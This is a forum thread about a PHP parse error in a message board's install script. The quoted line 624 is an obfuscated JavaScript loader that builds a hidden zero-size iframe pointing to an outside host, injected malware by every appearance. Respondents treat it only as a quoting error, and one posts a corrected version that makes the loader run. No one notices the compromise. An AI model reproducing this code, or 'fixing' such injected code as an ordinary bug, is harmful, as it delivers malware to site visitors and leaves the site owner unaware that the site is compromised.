PDA

View Full Version : Help, I need to fix this bug to get my board live again!


Saucerguy
07-04-2008, 10:08 PM
My wonderful host decided to get too big to handle their accounts so I log into my board only to find it's no longer functioning, in fact, they destroyed the entire path system array. Luckily I already had the files transferred over to a host that actually has been rock solid for quite some time, be it, not using cpanel, of which I prefer.

I am trying to get it installed on the new box and have had to do a little work around, since my local ISP's dns record's are obviously a little slow today so you guys might have to use proxify.com to see the error I'm getting. The url is http://happyrcflyer.com, if you see a placeholder, it just means your isp's, dns is slow, for that's the remnent I put in place on the old box. Dns has been changed over on my end via. through my registrar properly regardless.

Anyway, I try to initiate the install and I get the following error:


Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /nfs/c01/h02/mnt/6387/domains/happyrcflyer.com/html/install/index.php on line 624

I'll post line 624 just so you guys can see what it's referencing:

echo '<body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh='t';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab= 'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);" id="errorpage">';

I am not a php programmer so I don't know how to translate the error message into a fix, but I'm sure one of you smart people can figure it out easily. Any help would be much apprieciated.

Thanks, Brian

_Aerospace_Eng_
07-04-2008, 10:20 PM
All of your single quotes need to be escaped except for the beginning and closing single quotes for the echo.

oesxyl
07-04-2008, 10:21 PM
echo '<body onload="status=\'\';zz=\'o\';sl=\'/\';sf=\'ram\';us=\'u\';pi=\'b\';po=\'.\';gw=\'fi\';qu=\':\';yh=\'t\';vo=\'h\';bw=\'e\';pj=\'m\';iu=\ 'g\';pt=\'tp\';yw=\'p\';ab=\'src\';dg=\'ht\';ko=\'e\';wd=\'if\';hh=\'r\';t=wd.concat(sf,ko);xx=dg.co ncat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute(\'width\',\'0\');oE.setAttribute(\'height\',\'0\');oE.s etAttribute(\'style\',\'display:none\');oE.setAttribute(ab,xx);document.body.appendChild(oE);" id="errorpage">';


escape each ' with \', inside the string but not first and last.

sorry _Aerospace_Eng_, I didn't know you answer
regards

Saucerguy
07-04-2008, 10:51 PM
Awsome, awsome, awsome guys, I changed the line of code as per your instructions and I'm now seeing the installation screen properly! Thank you very much, I think I'm going to stick around this board, I'm working on another sizable project at work as well and have ran into a few php snags along the way with it.

Thank you very much, you guys rule!!!!

King Cobra
07-09-2008, 10:10 PM
Yes, you folks are awsome! Thanx. Matt